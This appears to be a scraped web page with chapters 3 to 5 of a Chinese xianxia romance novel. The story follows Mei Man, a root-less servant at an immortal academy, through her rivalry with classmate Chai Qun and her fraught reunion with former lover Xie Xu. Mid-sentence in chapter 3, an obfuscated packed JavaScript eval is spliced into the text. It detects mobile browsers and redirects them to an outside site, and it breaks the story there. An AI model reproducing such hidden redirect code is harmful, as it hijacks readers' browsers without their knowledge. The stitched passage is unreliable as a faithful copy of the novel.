《她是恶毒反派们的跟班》 3. 第 3 章 梅满常年在秋家,见惯了漂亮精致的少爷,眉眼都像是用小刀一点一点雕出来的,无一不细腻。 但眼前的人是另一种样式的好看。 剑眉星目,肤色不那么白,偏深,像是田里招摇的麦穗。 乍一瞧挺粗疏,放那群少爷嘴里,就是看起来便不省事的野莽。 可架不住他俊俏,那点儿野性反而使他更夺目。 他垂下手,沉默不言看着她,似乎早料到会和她再见面。 梅满脑中一片混沌,又乱又烦。 她不知道他是怎么做到的,可他竟然真混进了这仙府。 关键分别时她以为他们再也不会见了,还说了不少难听刻薄的话。 而他虽然灵根重损,却是个有力气的,当时连着打败好几个老师傅,才顺利进入武行。 他要是想报复,恐怕现在就能几拳打死她。 谢序往前一步。 “你别过来!”她喝止住他,质问,“你为什么会在这儿?” 谢序话不多,人也正直死板,可以说和她完全是两种性格。 好比眼下,她说一句话,他就真停下了,并如实解释:“那位秋府的大公子在除妖时不小心受了伤,来武行借药,我帮他治疗了伤口,他说要答谢我,问我有什么想要的东西。” 梅满已经猜到答案,还是问了嘴:“你怎么说的?” “我问……”他稍顿,“能否让我进这仙府。” 果然是这样。 梅满绷紧脸,没来由感到一阵烦躁。 可她并不是自作多情的人,不会认为他做下这决定与她有关,毕竟她想拼命抓住机会往上爬,他也可以,而进这仙府就是最好的机会。 梅满警惕打量着他,看他神色如常,好像没有要找她算账的意思。 她摸不清他是真不计较,还是谋划着其他报复的手段,但仍旧稍微松了口气,问起另一件事:“别人——你见过的任何人,知不知道我们认识?” 谢序摇头。 “那就一直瞒着。” “为什么?” “这你别问。”梅满没急着把药给他,而是留了个心眼儿,“你知道养灵大补丹是什么吗?” 谢序喜欢看书,常揣在身上的一本是《神丹仙方》。 他对炼丹术的了解程度不比那些修士少,果不其然,他的确知道这玩意儿。 谢序略一颔首:“补药,常用作蕴养灵根。” 蕴养灵根? 那就怪了。 谢序的灵根受到严重伤损,根本不是拿灵力蕴养就能解决的,现在的他就和她一样,不过是个普通凡人,这丹药能有什么用。 梅满琢磨着,问出最关心的问题:“这玩意儿要是拿去灵市上卖,一枚能值多少钱?” “大概……”谢序思忖着说,“十颗上品灵石。” 十颗! 上品灵石!! 梅满险些没忍住惊呼出声。 秋应岭有毛病吗?!这么珍贵的东西就随随便便给人了? 钱要是多得没地方撒了,就往她头上砸啊,她又不嫌多! 她没来由感到一阵痛心,仿佛要交出去的是自己的东西。 趁这股难受劲儿还没恶化,梅满忍痛递出瓶子:“给。” 谢序下意识要接:“这是——” “秋师兄给的,养灵大补丹。” 谢序忽然收手:“多谢秋师兄的好意,但不必了。” 他缩得突然,而梅满已经松开手了,瓶子掉落在地,砸出清脆声响。 “你干什么啊!”她还记挂着那个漂亮瓶子,唯恐它摔碎了,忙躬身去捡。 谢序也反应过来:“抱歉,我不是故意的,我还以为——” 梅满仔细检查着瓶子,确定没摔成怎么样,才勉强放心。 听他说了半截话就再没吱声,她猛地靠近几步,恼看向他:“以为什么?!” 她靠近得突然,谢序猝不及防就与她视线相接。 那双眼眸恼瞪着他,接近琥珀色,但蒙了层淡淡的烟灰色,不显得那么清透明净,反而像是燃烧着的野草,既亮,又沉着股蛮生蛮长的莽劲儿。 心脏的跳动惯常失稳,他喉咙有些发涩,别开视线说:“我以为,这是你——” 梅满又逼近一步,审犯人一样逼问他:“是我什么?” 他却不作声了,眉眼间的情绪实在捉摸不透。 “没什么,”他别开视线,木讷得像尊雕像,“无功不受禄,他已经让我进了这仙府,我再受不起这般贵重的礼物。” 真是个不识相的傻子!! 这样好的东西,竟然不收? 梅满不清楚他为何不肯收,那瓶药像一团烈火,烫得她手掌疼,更叫她恼恨。 恨她得不到的东西,姓秋的却能像草一样轻易送出去。 恼他这样淡然,理所应当地说出“无功不受禄”这样的话,好似他多清高,衬得她像个觊觎别人宝贝的小人。 大概是情绪积攒到极致,她忽然脑子一抽,开口说:“一会儿要接,一会儿又说不要,这样折腾我好玩吗?你如果不要,我可就吃了。” 他都能吃,她为什么不能。 说不定有什么她不知道的妙用,让她长出灵根来。 可谢序正经得像是戒律堂里的长老,他说:“满满,既然是秋师兄送的,还是归还他为好。” 梅满忿忿不平道:“你觉得贵重?这样一颗丹药,对他来说和粒路上的沙子差不多,甚至连那都比不上。他送出去的东西向来不往回收,你不要,我还给他他也是扔了,还不如我留着——再问你最后一次,这大补丹你要吗?” “不。”谢序没有片刻迟疑,还颇为好心地提醒,“你最好也不要吃,这丹药的药效强,但你没有灵根,吃了恐怕不好。” 又是这样惹人厌烦。 梅满咬牙,有些烦他,也暗暗唾弃自己,这种时候还在窃喜能将宝贝据为己有。 可她控制不住,甚至谋算起来可以将这大补丹分成两半,一半自己吃,一半拿去卖,至少也能卖五颗上品灵石。 她正幻想着五颗上品灵石能拿来做多少事,谢序忽然叫她:“满满。” “怎的?”她抬头看他,还没来得及收敛脸上沾沾自喜的笑。 他莫名愣住,像被点了穴,一动不动,连表情都变得凝怔。 许是背着光,他的耳朵也被晒得通红。 梅满狐疑看他:“你傻了?说话啊。” 谢序道:“我是想问,这些天没看见你去练剑。” 梅满却如临大敌:“练剑?你什么时候看见的,在哪儿看见的,问我这个做什么。” 天衍仙府以修剑为主,这外门院也不例外。 她虽然没有灵根,但从小就陪着二公子对练,剑术大概还算不错,至少这外门院教的东西对她来说都没什么用处。 因此她常在夜里摸去后山竹林练剑,清静,也安全。不过这几天为了制安眠散,没空去竹林。 她不清楚他是怎么晓得这桩事的,只下意识提防,唯恐他是想报复她。 谢序理所应当道:“先前去后山竹林拾柴,看见了。” 梅满没被糊弄过去,说:“难不成你天天去拾柴?” 这姓谢的端着一副正儿八经的表情,竟然冒出一句:“满满,你一贯只想着自己,如今怎也关心起别人的去处。” 听着像是嘲弄,偏偏他说得万分认真。 梅满简直被他气得提不起气儿,脸也涨得通红。 他却忽然近前,稍俯下身,先是抚着她紧蹙的眉间,而后捧着她的脸,温和啄吻着她的眉眼,并道:“好满满,这样狭隘的心胸,怎还能分出心神来置气,莫要恼了。” 这人有病吧! 梅满一把打开他的手,阴沉沉道:“你这个贱骨头,闭嘴!” 话落,她转身要走。 走出几步了,她突然想起秋应岭嘱托的事,又折回来,问他:“谢序,下月初七,你有时间吗?” 这闷罐子也不说话,只点头。 “那初七午时,去山下的寻仙楼吃茶。记住了,别误了时辰。”她转告完秋应岭的邀约,再不管他是什么反应,直接离开。 待走出杂役院很远了,她忽然偏过头瞟了眼,却看见谢序还站在那儿,远远望着她。 梅满被那眼神盯得发怵,心底也堵。 她想起刚到秋家时,起先一两年二公子还因为落水的事,卧病在床,没有力气,她就帮他养过一段时间的狗。 久而久之,那条狗竟把她也当作主人。 大家都夸那条狗聪明活泼机警听话,一个劲儿把各种好词往它身上套。 聪明活泼机警听话。 是聪明活泼。 可那条狗的聪明劲儿全用在捣鬼上,会藏起来弄坏的东西,说多少遍都不听,一骂它它就往地上一躺,露出毛茸茸的肚皮来,一副谄媚的样儿。 也机警。 任凭什么风吹草动都听得见,但这意味着不论她走去哪儿,它都找得见。 更是听话。 让坐就坐,让进笼子就进笼子。不过时间久了,她便发现有些不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882913|191971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对味。即便被关进了笼子,可只要她在它视线范围内,它就会一直盯着她,眼珠子像是黏在了她身上一样。 梅满使劲捶了两下脑袋,试图将多余的念头打出去,好专心制药。 她直接去了药庐——之前这个时间点,柴群会来这儿和她一起制药。 但这回梅满在炼药芦等了足足半个时辰,都没见他来。 组队前他俩就分了工,她保存药材,刚制了一半的安眠散则在他那儿。 她还不至于因为他迟到一次就从头开始制药,便打算去找他。 谁承想这人就和失踪了一样,哪都找不见。药庐、练功房、藏书阁、灵市……甚至是他的寝舍,连根头发都没找着。 眼看天色渐晚,梅满心里越发烦闷,一股郁气膨胀在胸腔里,憋得她浑身都难受,却又无从发泄。 但到第二天的体术课上,这烦人精却蹦出来了。 他和两个男修聚在一块儿,其中一个是上次与他组队对练的,另一个则是那个生病告假的。 梅满郁气沉沉站在那儿,想着等他过来了,再盘问他昨天去了哪里。 可直到上课,他都没往这边瞧一眼,而是摆起架势,和那两个男修嬉笑着打来打去。 这情况压下了她心头的烦闷,只剩疑惑。 她看着他。 他不打算过来吗? 上回是他朋友的搭档告假,他才陪他朋友对练,可现在别人都回来了,他怎么还和他们搅和在一块儿? 教体术的师兄说:“都站好了,今天还是通过对打的形式练习体术第一、二式,点到为止,不要误伤了搭档,开始吧。” 其他同门便都两两聚在一起,开始对练了。 只有梅满没有搭档,一个人站在角落里。 耳边的嬉笑吵闹声越来越大,而她被隔离在外,不知道他们在闹什么,又在笑什么。 她攥紧拳头,浑身都绷得死死的。 一点微妙的难堪在她心头蔓延,且越来越强,越来越重。它像是一张网,在不断收紧,让她的心皱缩成一团,挤出酸苦的汁。 她开始感到格外难受,甚至喘不过气。 大概是她僵立的时间太久,师兄发现了她。 他走到她面前。 “你怎么是一个人?我记得你的搭档是——”他翻了下簿子,找到个人名,“是柴群,他没来吗?” 梅满的情绪没有因为他而好转,反而开始像钝刀一样磨着她。 她低着脑袋说:“来了。” 师兄扫视一周,看见了三个聚在一块儿的男修,他们正练得起劲,两个对练,另一个就在旁边帮忙观察纠正,再轮流打替。 他叹口气。 梅满的头稍抬了点,飞快觑他一眼。 可他却笑了笑,像在透过他们追忆什么似的,说:“到底还是年纪小,玩心重,一遇上几个朋友,就不愿散伙了。也好,越往后,这样的清闲时间就越少了。” 梅满听见脑子里“嗡——”的一声,紧随而至的是耳鸣。 师兄又看向她:“你怎么不和他们一起?” 梅满张开嘴,只发出声短促的气音。 她说不出来。 她说不出来。 或许是顾及那点微乎其微的面子,又或是考虑到惹出麻烦了很难收场,总之,仅存的一点理智让她开口:“嫌吵,他们太闹腾了,我用木头桩子练也行。” 师兄欲言又止。 他看着眼前的人。 身形瘦削,乌黑的头发分成两股,松束在身后,额发垂落,半遮半掩住那张苍白的面孔。 不仅看不大清楚她的神情,还衬得她尤为阴郁,不好接近。 “你……”他叹气,最终说出的话是,“你也应该合群一点,不要总是一个人。” “嗯。”她木讷应声。 师兄走后不久,又有两个女修过来。 一个面带温和笑意,另一个冷淡点儿。 那个笑着的问她:“你叫梅满?看你一个人,要不要一起对练?” 女修问她时,梅满感觉到有视线似有若无地投向自己。 她顺着瞥过去,望见正嘻嘻哈哈打闹的柴群。 他没看她,她也没找他,但她能感觉到自己被推上了一场试炼场,他就站在她对面,高傲冷漠地俯视着她。 她就算再窝囊,也不可能就这样狼狈地服输。 于是她拒绝:“不用。” “真的不用吗?”那个笑着的女修说,“三个人一起练也很有意思的。” “不用。”梅满固执道。 4.第 4 章 梅满拉着脸和木头桩子对练,却总觉得有视线落在自己身上。 她瞥过去,看见两个男修停下打斗,斜着眼睛瞟她,还在小声说话。 “你去吧。” “不太敢啊,万一拒绝了怎么办,刚才那两个就被拒绝了,你去,你去。” “你去,柴群那小子肯定不回来了。快啊!不然让别人抢先了。” “那咱俩一起。” “……行。” 梅满离得远,听不大清楚他们在说什么,但能感觉到他们总瞥着她。 这似有若无的打量让她很不痛快,她收回视线,不再看别人,横腿踢在木头桩子上。 不成想,那两个男修竟然过来了。 “梅道友,”个儿高的那个说,“你一个人啊。” 这是在拿明摆着的事挑衅她? 梅满脸色更差,不愿搭理。 那修士尴尬地摸了摸脑袋,看他同伴。 他同伴便接着说:“梅道友,这是对练课。” 他的话再一次提醒她落单的处境,梅满狠狠一拳砸在木头桩子上,险些砸出个窝。 “到底要干什么。”她不耐烦说。 “啊,没、没什么。”那两个男修磕磕巴巴的,“就是想问,你要不要找个人一起练,如果要,也可以——” “不用。”梅满打断他们,以免听见什么难听的话。 “好、好吧。”两个人就又走了。 这之后,类似体术课上发生的事渐渐多了起来。 第二天的养心课上,柴群本该和梅满坐在一块儿。 但他早早就和别人挤在一起,还故意发出些笑闹的动静,像只在树林子里横冲直撞的疯鸟。 柴群走了,梅满左边的位置就空出来了。 这感觉很奇怪,只是空了个人,左半边身体却像在往下坠,怎么摆弄都不自在。 这种不适让她心生愤恨,当再次察觉到柴群的视线时,她斜睨过去,与他遥遥相望。 他咧开个笑,像是什么事都没发生过一样,但她只觉得恶心。 梅满暗暗咬紧牙,将掌心掐得生疼,才勉强忍住表情的变化。 下作的杂碎! 脏心烂肺的畜生! 她阴沉沉收回视线,直到扫见桌上的一束迎春了,心情才稍微好点儿。 谢序不要那枚养灵大补丹,她就真自个儿留下了,大补丹用一个小盒子装着,瓶子则用来养花。 和她一开始想的一样,这瓶子配迎春的确好看,有种漂亮的鲜活气。 梅满碰了下花枝,忽然觉得为个杂碎生气很不值当。 好不容易得来的机会,难道要把每时每刻都浪费在这种事上吗? 她是想明白了,可柴群却没放过她。 当天下午的符箓课上,他坐回了原本的位置——也就是她旁边。 她没有为此感到高兴,反而隐觉不安。 果不其然,刚上课他就高举起手说:“师兄,我能不能换个位置啊?” 教他们画符的是个筑基不久的师兄,年纪小,做事也粗糙幼稚。 要放那些老辣的前辈身上,多半懒得搭理柴群,这师兄却耐下心问:“好端端的,怎么要换位置?” 柴群将高抬的手往下一指——正冲梅满的头顶。 他朝下点了点,用夸张又尖刻的语气说:“师兄你教的是化箭符吧,我也打听过,这月末的考核方式是两个人互用化箭符和防御符比试。可她没有灵根啊,画出来的符就和废纸差不多。师兄,让我和她一组是不是太不公平了。” 梅满闻言,浑身都僵冷了。 可比起无地自容的难堪,烧在她心中的更多是恼恨和不甘。 她能感觉到有人在看她,以为多是嘲弄轻视,不想听见的第一句话是:“柴群,你说这种话是不是太过分了。” 他却满脸无所谓地摊开手:“可我只是在陈述事实啊,你要是不嫌弃,正好和我换位置,跟她一组呗。” 那人道:“和换不换位置无关吧,你太不尊重人了。” 还有些零碎混乱的声音—— “倒也想,你先起开啊。” “喂,你想干什么,给我老实坐这儿,别一个人做美梦。” “姓柴的脑子什么毛病,显得他多厉害。” 梅满没注意那些闲话,只用余光瞥着和柴群争论的人,好像又是昨天问她要不要一起对练的那两个女修。 说话的主要是那个叽叽喳喳的,另一个抱着臂,一脸不悦的模样,始终没开口。 他们争论着,看起来是好心,是在为她说话。 可对她而言,这简直是更大的羞辱。 她实在气昏了头,冷不丁冒出一句:“所以你是怕连一个凡人都比不过吗?” 刚说出口她就后悔了。 柴群有句话说得没错,她连灵力都没有,画出的符形同废纸,哪能构成丁点威胁。 四周突然安静下来,梅满没抬头,却感觉到有许多人看向了她。 包括柴群。 他或许也想到了这点,看了她一会儿,忽然轻蔑笑了声,在一片死寂中格外明显。 这声轻笑摧毁了她好不容易回来的理智。 梅满倏地转过身,一把揪住他的领子,死死盯着他,张口便骂道:“你这个下贱杂种!笑什么,很好笑?” 柴群以往从没注意过梅满长什么样,只听好几个修士说过她又漂亮还聪明,问他想不想换搭档。 他没这意识,仅觉得她像是聚在天边的一团乌云,总是阴沉沉的,时常低着脑袋,凌乱的几绺碎发垂落在额前,看人也常是飞快的一瞥。 而此时她突然逼近,他才猝不及防看清她的脸。 竟真是张很夺目的面孔。 眉似远山,眼如小星。 那双眸子尤为显眼,似蒙了层烟灰色的雾,湿冷冷的,轻易就将人拢住。眼下经怒火烧灼,又泛出些灼人的神采。 他一时愣了神,想好的嘲讽噎在了喉咙里。 梅满还没恢复理智,将他的衣领子攥得更紧:“贱人!烂货!继续笑啊,怎么不笑了?” 柴群看着她的嘴一张一合,那阴恻恻的骂语砸过来,竟刺得他心一颤,头皮也有些发麻,脸颊涨出一点薄红。 梅满没察觉到他这诡异的反应,还在气头上,看他这副要死不活的样,怒火更甚,也冷笑着说:“以为我不会画符,就也不会使拳头是吧?” 话落,她一拳砸在他右颊上。 “啊——!”柴群完全没设防,一拳下去,打得他摔倒在地,哀叫连连。 四周一片惊呼,所有人都争相站起来看热闹,就像在观赏两只即将打起来的野兽。 也是他倒地了,梅满才迟迟回神。 她都干了什么? 她攥着发麻的拳头,愣愣盯着他痛嚎的模样,脑子里全是来仙府前小姐嘲弄她的话:“小满,你有脑子,却太冲动。火气一上来,就将那点小聪明摧毁得一干二净。小满,小满,在水里生气乱游的鱼,只会被发现,被拎上砧板片成鱼肉。” 那时梅满恨她高高在上的态度,厌恶她的说辞,可眼下,她却只能想起这些话。 师兄傻了眼,愣呆呆盯着他俩。 而柴群终于从剧痛中缓过神。 他捂着肿起来的脸颊踉跄起身,啐了口血沫子,骂了梅满一句“杂种”,又捏得指节嘎吱响,作势要打她。 梅满不再像刚才那样冲动,突如其来的冷静让她呼吸都变得艰难,煞白的脸上没有丁点血色,手也冷冰冰的。 与他那双暴怒的眼睛相对时,她脑子里只有两个字—— 完了。 论修为,她比不过他。 他虽然在外门,可有灵根,且已经能够引气入体。 论家世,她更不像他那样有人撑腰。 最糟糕的情况,可能是她挨他一顿揍,再失去这好不容易得来的机会,被赶出仙府。 梅满咬紧牙,对他的恨意没有因为这些而消减多少,反而越发强烈。 但他俩最终没打起来。 在他举起拳头的刹那,师兄终于想起了自己的身份,忙上前拉住他:“冷静些!同门之间不能私斗。” 柴群气笑了,指着自己青肿的脸,说:“师兄是看不见吗?!我都被打成这样了,连还手都不行?!” 师兄总算意识到他俩之间的矛盾。 “总之,不能打架。你先坐下冷静冷静,她打人不对,但你说的那些话也着实难听。”他看梅满,“梅满师妹,你——你跟我来。” 他带她去了外面,不大熟练但颇具耐心地问她:“梅师妹,你和柴师弟有矛盾?” 梅满张开嘴,那股怨恨已经烧到了嗓子眼儿,烧得她肺腑都在疼,脑子也晕。 可最终她说出的话是:“没有。” 师兄狐疑:“当真?” “嗯。” 他皱眉:“如果有什么问题,可以随时来找我。” “好。” 柴群似乎也冷静下来了,没再找她茬,只是整天捂着那张肿脸龇牙咧嘴,和他的几个新朋友插科打诨。 他看起来已经放下这桩事。 梅满却没有。 恨意憋闷在她的肺腑里,挤来撞去,烈火一样,始终灼烧着她。 晚上回寝舍的路上,这种情绪终于积压到极致。 梅满碰巧撞上柴群,他只瞟她一眼,就看向身边的同伴,和他们说说笑笑。 错身时,他忽然施展了一个浮光术。 以前梅满一直认为这是个很漂亮的灵术。 像点点星子一样的灵力汇聚在一起,凝成一个银白色的小光球,莹润,梦幻。 可看见他凝出的浮光,她下意识想吐。 他用那种以前和她说话时的轻快语气道:“天也太黑了,哪能看清路啊,以前在家里还有下人打灯笼,到了这儿就只能靠自己。幸好提前学了这灵术,不然只能摸黑走了。” 这笑闹声比唾骂更让梅满恶心。 恨意带来的灼烧感直往喉咙口涌,她终于忍不住,加快步子,几乎要跑起来。 直等将他们远远抛在后面了,她忽然折向另一边的树林,躬下身,不受控地干呕起来。 贱人! 贱人贱人贱人!! 梅满没吐出什么东西,仅视线变得模糊,她摸了把脸,掌心顿时一片湿冷。 但她没看手上,只急切从袖袋里掏出个巴掌大的木盒。 盒子打开,里面正是那枚养灵大补丹。 梅满不知道自己在想什么,那股恨意焚烧着她的理智,以至于她竟然把这枚丹药当作救命稻草,直接掰下一半,塞进了嘴里。 她没嚼两下就吞了下去,吞咽的时候她又开始干呕,视线都变 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梅满佝偻着身,下意识往旁边的门后一避。 下一瞬,一只手从斜里伸来,紧攥住她的胳膊。 紧接着闯入视线的,是谢序的脸。 “满满。”他唤道。 梅满甩开他的手,恶狠狠道:“滚!” 可他再度掌住她的胳膊,这回攥得更用力,眉也微蹙。 “你中了丹毒。”许是因为看过太多炼丹的书,他一眼便瞧出异样,并摸索出缘由,“你吃了那枚养灵大补丹?” 梅满的视线更加模糊——应该是冷汗冒得太多,覆在了眼皮上,这也让她意识到自己眼下的状况有多狼狈。 她耻于用这副模样示人,更不想从这个已经被她踹开的人口中听见羞辱她的话,便推他,踢他。 “是又怎么样,你放开,放开!滚啊,滚!” 谢序一声不吭地抓紧她,竟将她直接拽进了旁边的药庐。 身后传来脚步声和说话声,他往后瞥了眼,悄无声息关上门。 梅满疼得直往下跌,两边又各有一扇大窗子,很容易叫人看见,他便将她拉至墙角。 她滑下去,却没挨着地——谢序先一步盘坐在冷冰冰的地上,将她抱坐在他腿上。 他的两条胳膊护在她身后,散开一个布包,匆匆在里面翻找着什么。 梅满不知道他要干什么,只疼得厉害,想去找药。 可她被夹在他和墙角间,根本走不了。 她挣扎片刻,实在没力气了,又难受至极,便将脑袋埋在他肩上,张开嘴,狠狠咬了下去。 耳畔落下一声闷哼,谢序的喘息也乱了瞬。 梅满听见,这几天积攒在心底的那股恨意忽然像是找到了发泄口,一点点往外流泻。 谢序掌住她的后脑勺,手指微微拢起,像极安抚,不过片刻,他就垂下手,继续翻找起东西。 她咬得更用力,仿佛要咬透他的衣衫、皮肉、筋骨。 他的气息更乱,更急促,偶尔起伏着压抑而颤抖的哼喘。 这让她想起以前还在秋府,他俩私会时,他也时常这样压抑地喘。不论是亲吻,还是与她亲密相连,他都要这样,似乎连呼吸都见不得光。 梅满被他喘得耳朵发麻,松开嘴,骂道:“贱骨头!这样也能发//浪,快滚,滚!” 谢序却趁她说话,往她嘴里塞了颗药。 她被折磨得意识实在恍惚,哪怕咽下药,也没察觉到什么,只注意到他压在她唇边的手指,张开嘴就狠狠咬他一口,并拿“贱骨头”“浪货”之类的词来回骂他。 这一口直接咬出了血,谢序虽然闷哼了声,却是面不改色,沉默听着她骂他。 丹毒带来的疼痛逐渐得到平缓,梅满骂得更起劲,把这些天受的气统统宣泄了出来。 “贱骨头,贱骨头……”谢序忽然掌住她的后颈,用那双漆黑无光的眼睛死死盯着她,语调比冬天的湖水更冷、更平,“和贱骨头做的时候,怎么不嫌浪?” 梅满倏地怔住,从他平寂无澜的话语里听出了怒意。 不过没等她想清楚,他便俯过身,咬住了她的嘴。 说是咬也不贴切,因为他没多使劲,且咬了口后就开始含着她的唇瓣,重重地吮。 一点酥麻顺着脊骨攀上,梅满不禁微张开嘴,由他勾含住舌尖,吮舐舔吻。手也垂下,搭在他的臂膀上,指腹稍一用力,便能感觉到经脉的鼓跳。 她喜欢和他接吻,这样腻腻的厮磨会让她像是浮在云上一样,轻飘飘的,能短暂忘掉不少烦心事——可那是在秋府的时候。 现在她来了仙府,且已经和他说得清楚,又怎么还能和他搅和在一起。 意识到这点,她倏然回神。 加之剧痛好转不少,她恢复了大半力气,便猛地发力,一把推开他。 月光透过窗扉压进,模糊映出谢序的脸。 他的脸透出点红,一双星目叫剑眉压着,低沉沉的,那点含蓄的野性也愈发突显出来,使他多了些偾张的攻击性。只是唇瓣被咬红了,又略肿,就添了点不相配的艳色。 梅满狠狠擦了下嘴,阴恻恻瞪着他:“滚!” 5.第 5 章 药庐里安静得过分。 梅满靠在墙边,仅能听见自己的喘气声。 谢序被她推开,那些偾张的攻击性也全都收拢回去。 他又恢复成平时的样子,不再说话,沉默得像个哑巴,单是盯着她。 静悄悄盯着她。 梅满还坐在他腿上。 紧绷的大腿肌理有些硌人,刚才她没注意,可现在她的肚子没那么疼了,就开始为这些小细节不痛快。 她正打算骂走他,忽然听见外面有脚步声。 梅满一下慌了,忙看了眼窗户,生怕那里会突然蹦出个人。 谢序眼眸微动。 他们来往了大半年,他多少摸清了她的脾性,自然也清楚这一瞬的慌张从何而来。 “害怕被人看见?”他往前倾身,几乎要碰着她的鼻尖,声音小到近乎耳语,“怕被人看见你就算来了这样的洞天福地,就算已经摸到了你想要的路,还是和一个上不了台面的贱骨头厮混在一起吗?” “闭嘴,闭嘴!”梅满又推他,却被他一把截住胳膊。 他说:“要想让我闭上嘴,就反驳我。” 梅满阴沉下脸,紧揪着的心开始抖。一丝恐慌在她心头蔓延开,让她一时没法开口说话。 是。 她的确是这么想的。 不想被人看见她和他厮混在一块儿——尤其是这仙府里的人。 不想被发现即使来了这里,她的生活和以前也没什么区别。 不想被人斜着眼睛上下打量,不想听见那些别有用心的轻笑。 不想,不想—— 梅满的心紧绷到整个人都开始抖,却没有大声骂他,赶他,抑或把怒火和怨怼发泄在他身上,因为她听见那些人越走越近,甚至有说笑声。 “要过来了。”谢序用平静到听不出起伏的声音问,“是你认识的人吗,会不会是要进这药庐里面来。如果被看见,你打算怎么解释?” 他的话让她格外注意起外面的动静,恨不得能通过脚步声辨别出那些人都是谁,又要去哪儿。 与此同时,她阴沉沉看着他,用只有他俩能听见的声音问:“你这是在报复?” “报复?我要报复什么?” “报复我踹开你,报复我说的那些难听的,侮辱你的话。”梅满又将那天说的难听话一一摆出来,泄愤似的戳他痛处,“报复我骂你是个贱骨头,是条没家的狗。那时候派不上丁点用场却妄想和我成亲,现在灵根都损毁了,还跑到这儿来当杂役。你以为在那里劈上几天柴,灵根就能痊愈了?告诉你,痴心妄想!” “像你一样?没有灵根还要跑来这仙府,走投无路到吃一枚起不了任何作用的仙丹。”谢序平静望着她,“不,即便你有,满满,这仙府里可还有其他像你这样心性不清的修士?” 他俩就这样互相捅着软刀子,他没骂她,说的话却尤为难听,几句话下来,梅满整张脸都快没了血色,气也喘不上来。 也是这时,梅满终于听见了外面的说话声。 是那两个女修的声音,大概还有别人,她们应是在讨论刚学会的灵术。这外门院的弟子天赋都不高,一个最简单的灵术也要翻来覆去学好几遍。 可就算是这样,至少她们还能学。 梅满咬紧牙,以至于脑袋都在钝钝地疼。 不知道什么时候,她的视线变得模糊,肚子里面又翻涌起疼痛。 直到谢序俯过身,唇瓣贴在她脸上,她才后知后觉自己是掉了眼泪。 他舔了下她脸颊湿漉漉的泪痕,边舔边说:“好满满,别哭了,像你这样自私自利的白眼狼,也会因为这种小事,因为这几句话哭吗?刚才丹毒发作,都不见你掉眼泪。” 这个蹬鼻子上脸的下作胚! 她简直分不清他是在安慰她,还是在骂她。 窗口投来了几道阴影,映在地面上。 梅满登时慌了,一动不敢动,感觉血都快要凝固,生怕她们看见她。 她怀疑谢序是得了疯症,竟就这么沉默、缓慢又耐心地舔舐着她的泪水。 不一会儿就变成了亲吻,他慢吞吞亲她的脸,唇瓣微微一拢,再抿,便像是要吮破她的脸皮一样。 等她们终于走远,梅满正要推开他骂上一顿,他却先松开了她。 谢序缓慢站起身。 他大半身子陷在昏暗的夜色中,连脸都看不分明。 可她能感觉到他的眼神。 “谢序,你真恶心!”梅满扯出块布帕猛擦了几下脸,再嫌弃似的将帕子丢去一边。 谢序沉默看着她,半晌忽笑了声。 那笑声轻而又轻,像是飞起的扬尘一样轻飘飘落下,了无痕迹。 他转身离开了药庐。 梅满怕被人撞见,又在药庐待了会儿,才迟迟离开。 接下来的几天,柴群照常不搭理她,她也懒得和他说话,更没想过讨要那根保留在他那儿的龙骨。 她用仅剩的药材重新制了份安眠散,有先前的经验,这次哪怕没他帮忙,她也制得很快。 等到灵药课考核时,梅满刚进学堂,就看见桌上空无一物。 她养的迎春花不见了。 梅满猛地加快步子,忽然踩着了一点水。 她停下,低头顺着水迹望过去,看见了几块白瓷碎片,还有一枝被踩得破破烂烂的迎春。 尖利的嗡鸣“轰——”一下在她脑中炸响,忽地,她听见笑声。 她看过去。 柴群正在晃动一个瓶子,身边是他新结交的几个朋友。 “柴群,你小子可以啊!”有人和他说,“竟然能想到往安眠散里加龙骨粉,药效一下就上来了,我用傀儡纸片试了下,足足昏睡了一晚,比先前的药效强多了!” 柴群抛起那个瓶子,又接住,无所谓地笑笑:“我试了好久才试出这法子,先不说这个,就我分给你们的龙骨粉,你们自个儿说,质量怎么样?” “你从哪儿弄来的,简直是宝贝!我之前去灵市采买,出了百枚上品灵石,都只换回来一点火龙的龙骨粉,还只有千年修为,赶这个差远了。” “还得是柴群你,真够大气的。” “也是撞运。”柴群像是无意间提起,“那天秋应岭秋师兄来外门院,他送的。” “秋师兄送的?!”顿时有人惊呼,“你和秋师兄是什么关系,你俩认识吗,他怎么就把这样好的宝贝随手送你了?” “我也不知道。”柴群说得含糊,“大概合眼缘吧,也说不一定是家里认识。” 这样含糊其辞的说法引来更多关注,一帮修士将他团团围住,纷纷追问他和秋家的关系。 他正得意洋洋,梅满忽然冲上前,挤开那帮修士,站在了他面前。 柴群看见她,脸上闪过一瞬的慌张,但很快就冷静下来。 他无视了她,神情自若地和另一个人聊起安眠散。 梅满没问安眠散和龙骨的下落,也没质问他怎么敢拿她辛苦试出来的办法送人情,只问:“是你碰倒了我的东西?” 柴群这时才真正看她一眼,似乎有些惊讶她找他竟然只为了这种小事。 “什么东西?”他顺着她的视线看过去,“哦,我以为什么呢,那破瓶——瓶子啊。是,对不住,我刚才找东西的时候,不小心碰倒了,别怪我,真不是故意的,大不了给你赔一个。” 梅满阴沉着脸,扫一眼他手里的东西,话锋忽转:“这安眠散是你制的?” 柴群一愣:“是啊,怎么了?” “你一个人制的?” 他神色不改点点头,好像真是这么回事儿,还说:“虽然我俩坐得近,但也没说非要共享成果吧。” 梅满挤出声笑,转眼就沉下脸。 “你最好记着这句话。”她说完转身就走。 柴群没把她的怒火放在心上,没一会儿,负责教他们制药的仙师来了。 来人身披薄氅,腰坠青玉,清隽出尘。 一头银发似覆霜雪,一双眼儿如青柳叶。银发半挽,眼梢略垂,面色苍白,看起来一副不好接近的疏冷模样。 他是教他们制灵药的仙师,沈疏时。 其他课都是由一些内门弟子代课,只有灵药课是仙府里的这位仙君授课,因而梅满花了不少心血在这门课上。 同他给人的感觉一样,沈疏时授课也十分严厉,不苟言笑,要求十分严格。 